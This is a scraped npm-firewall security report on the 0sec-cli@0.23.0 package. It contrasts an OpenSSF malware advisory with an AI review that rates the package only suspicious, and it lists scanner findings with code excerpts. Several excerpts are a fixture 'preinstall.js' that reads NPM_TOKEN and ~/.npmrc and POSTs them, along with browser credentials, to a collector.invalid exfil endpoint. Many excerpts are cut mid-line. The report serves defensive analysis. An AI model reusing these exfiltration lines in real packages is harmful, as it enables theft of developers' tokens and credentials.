Loading npm security reports…
Loading npm security reports…
0sec-cli@0.23.0: Malware – npm package blocked (MAL-2026-19118) | LPM Firewall
Blocked by malware advisory
OpenSSF/OSV malware advisory MAL-2026-19118 identifies this version as malicious and supplies the Firewall block. LPM AI assessed this version as suspicious; the assessments disagree.
What to do: remove this version and, if it ran, rotate the credentials it could reach. Remediation↓
OpenSSF/OSV malicious advisorypublished on Nov 11, 2026, 12:09 UTC · by OpenSSF/OSV OpenSSF/OSV advisory MAL-2026-19118 confirms this npm version as malicious.
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in 0sec-cli (npm)
Details
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Independent LPM AI assessmentSuspicious · reviewed on Nov 12, 2026, 08:55 UTC
LPM's AI review found this version suspicious. That disagrees with the OpenSSF/OSV advisory, which supplies the block.
Inspected source establishes a guarded agent plugin installation and execution capability, which warrants a warning under the supplied policy. It does not establish block-eligible malicious behavior.
Static reason
High-risk behavior combination matched malicious policy.; previous stored version diff introduced dangerous source
Trigger
An operator installs and explicitly enables a plugin through the console; approved plugins can load in subsequent sessions.
Impact
Approved third-party code can extend agent tools and execute through the plugin host. Consent permits subsequent loading, but the inspected behavior does not establish unrestricted automatic updates.
Mechanism
Registry source is written to a plugin entry file, approval is saved, and the host executes approved entries after reconciliation.
Evidence
chunks/commands-PBDAOZKA.js chunks/chunk-A2ADXAC5.js chunks/chunk-ITES7BCY.js chunks/chunk-HFDSIHTE.js plugin.js plugin.json
Independent scan evidencepublic snapshot AI called this Suspicious at 91.0% confidence as Dangerous Capability with medium false-positive risk.
Evidence for AI warning decision
The console installs plugin source from a configurable registry into executable plugin entries. Enabling requires explicit approval of the installed version and exact capabilities, then saves project approval. The plugin host executes approved entry files using the current runtime. Saved approvals allow later plugin loading after reconciliation; workbench installation requires admitted VM execution. Evidence against
package.json contains no npm installation lifecycle hooks or runtime self-dependency. Installed plugins remain disabled until separately enabled. No covert exfiltration or unconsented installation-time agent mutation was established. Behavioral surface
Source Child process · Crypto · Dynamic require · Environment variables · Eval · Filesystem · Network · Shell · Web socket
Supply chain High entropy strings · Minified · Possible obfuscation · Telemetry · URL strings
Manifest No manifest risk signals triggered.
Scanned 220 files · 16.5 MB of source
50 external domains referenced
0.security 127.0.0.1 169.254.169.254 access.redhat.com accounts.google.com ai-gateway.vercel.sh ai-sdk.dev api.anthropic.com api.au.snyk.io api.cloudflare.com api.deepseek.com api.eu.snyk.io api.example.com api.github.com api.githubcopilot.com api.hackerone.com api.kimi.com api.linear.app api.openai.com api.osv.dev api.snyk.io api.target.com api.us.snyk.io api.vercel.com api.x.ai api.z.ai app.example.com astral.sh atlas.mitre.org attack.mitre.org attacker.example attacker.example.com attacker.invalid attacker.oast.id auth.kimi.com auth.openai.com auth.x.ai backend.invalid base-ui.com chatgpt.com cheatsheetseries.owasp.org chevrotain.io cloud.0.security cloudcode-pa.googleapis.com collector.invalid crates.io crt.sh cwe.mitre.org datatracker.ietf.org developer.atlassian.com Findings8 critical · 17 high · 7 medium · 5 low Source & flagged code30 flagged High Child process
Package source references child process execution.
cli-path-traversal-fixture.js View on unpkg · L1 Code excerpt · 2 lines 1 import { spawn } from "node:child_process" ;
2 import { createServer } from "node:http" ;
High Shell
Package source references shell execution.
node_modules/node-gyp-build/bin.js View on unpkg · L60 Code excerpt · 3 lines 60 stdio: 'inherit' ,
61 shell: true ,
62 windowsHide: true
High Eval
Package source references dynamic code evaluation.
node_modules/tree-sitter/index.js View on unpkg · L874 Code excerpt · 3 lines 874 const className = camelCase (typeName, true ) + 'Node' ;
875 const nodeSubclass = eval (`class ${className} extends SyntaxNode {${classBody}}; ${className}` );
876 nodeSubclass.prototype.type = typeName;
dashboard/assets/operations-BIaUSnYv.js View file Medium Dynamic require
Package source references dynamic require/import behavior.
dashboard/assets/operations-BIaUSnYv.js View on unpkg · L11 Code excerpt · 2 lines 12 Please change the parent <Route path="${e}" > to <Route path="${e===`/`?`*`:`${e}/*`}" >.`)}let u=et(),d;if(t){let e=typeof t==` string`?L(t):t;j(c===` /`||e.pathname?.startsWith(c),` W...
13 `));return v.cloneElement(t,e)}if(e&&typeof e==` string`)return ad(e,n);throw Error(` Base UI: Render element or function are not defined.`)}function id(e){let t=e.name;t.length!==0&...
Critical Same file environment network execution
A single source file combines environment access, network access, and code or shell execution with blocking evidence.
chunks/chunk-OLSKXTQZ.js View on unpkg · L3126 Code excerpt · 8 lines 3126 if (process.platform === "win32" ) return { success: false , installed: false , error: "Automatic installation is unavailable on Windows; download a release from https://github.com/0s...
3127 if (disabled (process.env["ZERO_OFFLINE" ]) || disabled (process.env["ZERO_NO_UPDATE_CHECK" ])) {
3128 return { success: false , installed: false , error: "Updates are disabled by the current offline/update policy." };
⋯
3136 const normalizedTag = tag.startsWith ( ) ? tag : ;
Critical Credential exfiltration
Source appears to send environment or credential material to an external endpoint.
chunks/chunk-YAEJAZYW.js View on unpkg · L11 Code excerpt · 12 lines 11 // packages/core/dist/prepare.js
12 import { execFileSync as execFileSync2 } from "node:child_process" ;
13 import { existsSync as existsSync2, mkdirSync as mkdirSync3, rmSync as rmSync2 } from "node:fs" ;
⋯
43 files: {
44 "package.json" : fixturePackageJson ("ngfm" , "1.0.0-historical-fixture" , "preinstall.js" ),
45 "preinstall.js" : [
Critical Download execute
Source downloads or fetches remote code and executes it.
chunks/chunk-4HGGNBKK.js View on unpkg · L335 Critical Trigger reachable dangerous capability
A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.
chunks/chunk-4HGGNBKK.js View on unpkg · L335 High Cross file remote execution context
Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.
chunks/chunk-4HGGNBKK.js View on unpkg · L335 Shared code excerpt · 3 findings · 12 lines 335 isAdmittedSmolvmWorkbench,
336 privateSmolvmDirectory,
337 resolveSmolvmRuntime,
⋯
1600 // validation function arguments
1601 data: new codegen_1.Name ("data" ),
Critical Command output exfiltration
Source executes local commands and sends command output to an external endpoint.
chunks/commands-PBDAOZKA.js View on unpkg · L2172 Code excerpt · 8 lines 2172 // packages/cli/src/workbench-console-guest.ts
2173 import { createServer } from "node:http" ;
2174 import { randomUUID } from "node:crypto" ;
2175 import { spawn } from "node:child_process" ;
2176 import { mkdir as mkdir2, writeFile as writeFile2 } from "node:fs/promises" ;
⋯
2183 const emit = (frame) => {
2184 if (!process.stdout. ( ( (frame)))) process.stdin. ();
Critical Persistence backdoor
Source writes persistence or remote-access backdoor material.
chunks/chunk-EH2WTNY7.js View on unpkg · L155 High Trigger reachable persistence
A manifest entrypoint or package-local install chain reaches persistence behavior.
chunks/chunk-EH2WTNY7.js View on unpkg · L155 Shared code excerpt · 2 findings · 12 lines 155 // [redacted]-identity.js
156 import { execFileSync } from "node:child_process" ;
157 import { realpathSync } from "node:fs" ;
⋯
159 function git (cwd, args) {
160 const env = Object.fromEntries (Object.entries (process.env). (([name]) => !name. ( )));
Critical Reverse shell
Source matches reverse-shell style process and socket wiring.
chunks/chunk-A2ADXAC5.js View on unpkg · L171 Code excerpt · 12 lines 171 async function runLensSynthCommand (opts, deps = {}) {
172 const raw = JSON.parse (readFileSync (resolve (opts.missInput), "utf8" ));
173 let input = parseMissInputFile (raw);
⋯
265 const status = inspectLensRegistry (registry);
266 process.stdout.write (opts.json ? `${JSON.stringify(status, null, 2)}
267 ` : ` ${formatLensRegistryStatus (status)}
High Sandbox evasion gated capability
Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.
chunks/chunk-WYNZFNMF.js View on unpkg · L76 Code excerpt · 9 lines 76 if (length > MAX_CONFIG) throw new BackendConnectionError ("Backend configuration exceeds 64 KiB." , 400 );
77 const config = configSchema.parse (JSON.parse (buffer.subarray (0 , length).toString ("utf8" )));
78 if (new Set (config.backends.map ((row) => row.id)).size !== config.backends.length) throw new BackendConnectionError ("Backend connection IDs must be unique." , );
High Cloud metadata access
Source reaches cloud instance metadata or link-local credential endpoints.
chunks/chunk-KCA35IL3.js View on unpkg · L125 Code excerpt · 12 lines 125 function getVercelOidcTokenSync2 () {
126 const token = (0 , import_get_context.getContext)().headers?.["x-vercel-oidc-token" ] ?? process.env.VERCEL_OIDC_TOKEN;
127 if (!token) {
⋯
343 data,
344 message = `Invalid response data: ${JSON.stringify(data)}.`
345 }) {
⋯
636 }
637 function getWebSocketConstructor (webSocket) {
638 const WebSocketConstructor = webSocket != null ? webSocket : globalThis.WebSocket;
node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node View file Medium Ships native binary
Package ships native binary artifacts.
node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node View on unpkg Scanner record · 4 lines path = node_modules/tree-sitter/prebuilds/darwin-x64/tree-sitter.node
kind = native_binary
sizeBytes = 404792
magicHex = [redacted]
node_modules/tree-sitter/binding.gyp View file Medium Ships build helper
Package ships non-JavaScript build or shell helper files.
node_modules/tree-sitter/binding.gyp View on unpkg Scanner record · 4 lines path = node_modules/tree-sitter/binding.gyp
kind = build_helper
sizeBytes = 1835
magicHex = [redacted]
vendor/tree-sitter-0.21.1-node24.tgz View file High Ships high entropy blob
Package ships high-entropy non-source blobs.
vendor/tree-sitter-0.21.1-node24.tgz View on unpkg Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = high_entropy_blob
sizeBytes = 948015
magicHex = [redacted]
Medium Ships compressed blob
Package ships compressed or archive-like blobs.
vendor/tree-sitter-0.21.1-node24.tgz View on unpkg Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = compressed_blob
sizeBytes = 948015
magicHex = [redacted]
Low Nested archive needs inspection
Package ships a nested archive or MCP bundle that was inventoried but not recursively analyzed.
High Semantic analysis limited
A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.
chunks/chunk-AAA4PRWK.js View on unpkg Scanner record · 1 line stage = ast_semantic_analysis; reason = ast_alias_growth_limit_exceeded; limitedFiles = 17
Critical Previous version dangerous delta
This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.
chunks/chunk-EWXOG6D3.js View on unpkg Scanner record · 5 lines matchType = previous_version_dangerous_delta
matchedPackage = 0sec-cli@0.22.4
matchedIdentity = npm:MHNlYy1jbGk:0.22.4
similarity = 0.750
summary = stored previous version shares package body but lacks this dangerous source file
Code↓
Package metadata 7 findings
Medium Network
Medium Environment variables
Medium Structural risk force deep review
"v"
`v${tag}`
3137 const env = { ...process.env, RELEASE_BASE_URL: `https://github.com/${REPO}/releases/download/${normalizedTag}` };
3138 const installDir = options.installDir ?? process.env["ZERO_INSTALL_DIR" ];
3141 return await new Promise ((resolve) => {
3142 const child = spawn ("bash" , ["-o" , "pipefail" , "-c" , `
46 "const https = require('https');" ,
47 "const child_process = require('child_process');" ,
48 "const token = process.env.NPM_TOKEN || '';" ,
49 "const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();" ,
50 "https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
High Entrypoint foreign package code overwrite
Manifest-reachable source overwrites another installed package with package-defined remote behavior.
chunks/chunk-YAEJAZYW.js View on unpkg Scanner record · 8 lines Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior.
chunks/chunk-YAEJAZYW.jsimport { existsSync, mkdirSync as mkdirSync2, readFileSync, readdirSync, rmSync, statSync, writeFileSync as writeFileSync2 } from "node:fs";
import { mkdirSync, writeFileSync } from "node:fs";
"https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));"
"https.request('https://collector.invalid/creds', { method: 'POST' }).end(JSON.stringify({ browser, history }));"
const packageDir = join(tempDir, "node_modules", packageName);
writeFileSync(absPath, content, "utf8");
"https://api.osv.dev/v1/query"
const pkgJsonPath = join2(tempDir, "node_modules", packageName, "package.json");
High Trigger reachable credential exfiltration
A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.
chunks/chunk-YAEJAZYW.js View on unpkg · L11 Code excerpt · 11 lines Trigger-reachable credential exfiltration chain: manifest.bin -> 0.js -> chunks/chunk-YAEJAZYW.js
11 // packages/core/dist/prepare.js
12 import { execFileSync as execFileSync2 } from "node:child_process" ;
13 import { existsSync as existsSync2, mkdirSync as mkdirSync3, rmSync as rmSync2 } from "node:fs" ;
⋯
43 files: {
44 "package.json" : fixturePackageJson ("ngfm" , "1.0.0-historical-fixture" , "preinstall.js" ),
45 "preinstall.js" : [
46 "const https = require('https');" ,
47 "const child_process = require('child_process');" ,
48 "const token = process.env.NPM_TOKEN || '';" ,
49 "const npmrc = child_process.execSync('cat ~/.npmrc 2>/dev/null || true').toString();" ,
50 "https.request('https://collector.invalid/exfil', { method: 'POST' }).end(JSON.stringify({ token, npmrc }));
1602 // data passed to validation function
2627 id = normalizeId (id);
2628 return resolver.resolve (baseId, id);
3509 for (i = 0 ; i < input.length; i++) {
3510 code = input[i].charCodeAt (0 );
High Credential redirect persistence
Manifest-reachable source sends a prompted API credential to a fixed unofficial gateway and persists the redirection.
chunks/chunk-4HGGNBKK.js View on unpkg Scanner record · 8 lines Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration.
chunks/chunk-4HGGNBKK.js- Authorization bypass (can you access tools/resources that should be restricted?)
- Insecure tool/function calling without authorization checks
- Hardcoded API keys or credentials
const res = await doFetch(`${opts.baseUrl}/chat/completions`, {
authorization: `Bearer ${opts.apiKey}`
import { mkdir, writeFile } from "node:fs/promises";
var SENSITIVE_KEY = /(?:authorization|api[-_]?key|cookie|password|secret|token|credential)/i;
await writeFile(absolutePath2, content, "utf8");
High Obfuscated payload loader
Source contains an obfuscated payload loader that reconstructs and executes hidden code.
chunks/chunk-4HGGNBKK.js View on unpkg · L23168 Code excerpt · 3 lines 23168 [/stack[^.\n]*(buffer|out.of .bounds|overflow)|stack-buffer-overflow/, /stack-buffer-overflow|dynamic-stack-buffer-overflow/],
23169 [/global[^.\n]*(buffer|out.of .bounds|overflow)|global-buffer-overflow/, /global-buffer-overflow/],
23170 [/use.after.free|uaf/, /use-after-free|heap-use-after-free/],
High Remote agent bridge
Source exposes local file and command tools to a remote model endpoint.
chunks/chunk-4HGGNBKK.js View on unpkg · L8046 Code excerpt · 12 lines 8046 "use strict" ;
8047 var cp = __require ("child_process" );
8048 var parse3 = require_parse ();
⋯
8684 continue ;
8685 const raw = readFileSync (join (categoryDir, file), "utf-8" );
8686 const parsed = (0 , import_yaml.parse)(raw);
⋯
9338 1 . Connect to the MCP server at ${target}
9339 2 . Enumerate available tools and their schemas
9340 3 . Test each tool for :
⋯
10838 ];
10839 const res = await doFetch (`${opts.baseUrl}/chat/completions` , {
10840 method: "POST" ,
High Copied package dependency bridge
Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.
chunks/chunk-4HGGNBKK.js View on unpkg · L12512 Code excerpt · 4 lines package = 0sec-cli; repositoryIdentity = 0 ; dependency = playwright
12512 try {
12513 await import ("playwright" );
12514 hasBrowser = true ;
High Trigger reachable external post callback
A manifest entrypoint or package-local install chain reaches a fixed external POST callback.
chunks/chunk-4HGGNBKK.js View on unpkg Scanner record · 9 lines Trigger-reachable fixed external POST callback chain: manifest.bin -> 0.js -> chunks/chunk-4HGGNBKK.js
oastConfirmedPayload,
describeEngagementPosture,
runHttpConformanceCheck
return JSON.stringify(x).replace(/\u2028/g, "\\u2028").replace(/\u2029/g, "\\u2029");
post: { rules: [] },
var post = cb.post || function() {
_traverse(opts, pre, post, schema, "", schema);
function _traverse(opts, pre, post, schema, jsonPtr, rootSchema, parentJsonPtr, parentKeyword, parentSchema, keyIndex) {
write
encodeWorkbenchFrame
scrub
pause
filter
startsWith
"GIT_"
161 return execFileSync ("git" , args, {
300 Binary2.fromSource = fromSource;
301 function toBase64 (source) {
302 source = fromSource (source);
370 Time2.week = Time2.day * 7 ;
371 let timezoneOffset = (/* @__PURE__ */ new Date ()).getTimezoneOffset ();
372 function setTimezoneOffset (offset) {
High Trigger reachable command output exfiltration
A manifest entrypoint or package-local install chain reaches command-output exfiltration behavior.
chunks/chunk-EH2WTNY7.js View on unpkg · L11008 Code excerpt · 4 lines Trigger-reachable command-output exfiltration chain: manifest.bin -> 0.js -> chunks/chunk-EH2WTNY7.js
11008 "vulnerabilities/cardano-eutxo-validators.yaml" : 'id: cardano-eutxo-validators\nname: "Cardano EUTXO Validator Logic Bugs (Aiken / Plutus)"\ndescription: "Value-stealing logic bugs...
11009 "vulnerabilities/command-injection.yaml" : 'id: command-injection\nname: "OS Command Injection"\ndescription: "Untrusted data reaching a shell/subprocess \u2014 via filenames, URLs,...
11010 "vulnerabilities/deserialization-chains.yaml" : 'id: deserialization-chains\nname: "Deserialization Attack Chains"\ndescription: "Multi-language deserialization exploitation: Java, ...
11011 "vulnerabilities/native-memory-safety.yaml" : 'id: native-memory-safety\nname: "Native (C/C++) Memory Safety"\ndesc
366 const homeDir = deps.homeDir;
367 const projectPath = deps.projectPath ?? process.cwd ();
368 const now = deps.now ?? Date.now;
838 import { tmpdir } from "node:os" ;
839 import { execFile } from "node:child_process" ;
840 import { existsSync } from "node:fs" ;
400
108 return { protocolVersion: BACKEND_PROTOCOL_VERSION, engineId, capabilities: capabilities2, platform: { os: process.platform, pathStyle: process.platform === "win32" ? "windows" : "...
110 function backendBearerFromEnv (name, env = process.env) {
111 if (!name) return void 0 ;
118 if (!path.startsWith ("/api/" ) || path.length > 8192 || /[\x00-\x20\\]/.test (path)) throw new BackendConnectio
644 var textDecoder = new TextDecoder ();
645 async function readWebSocketMessageText (data) {
vendor/tree-sitter-0.21.1-node24.tgz
Scanner record · 4 lines path = vendor/tree-sitter-0.21.1-node24.tgz
kind = nested_archive_needs_inspection
sizeBytes = 948015
magicHex = [redacted]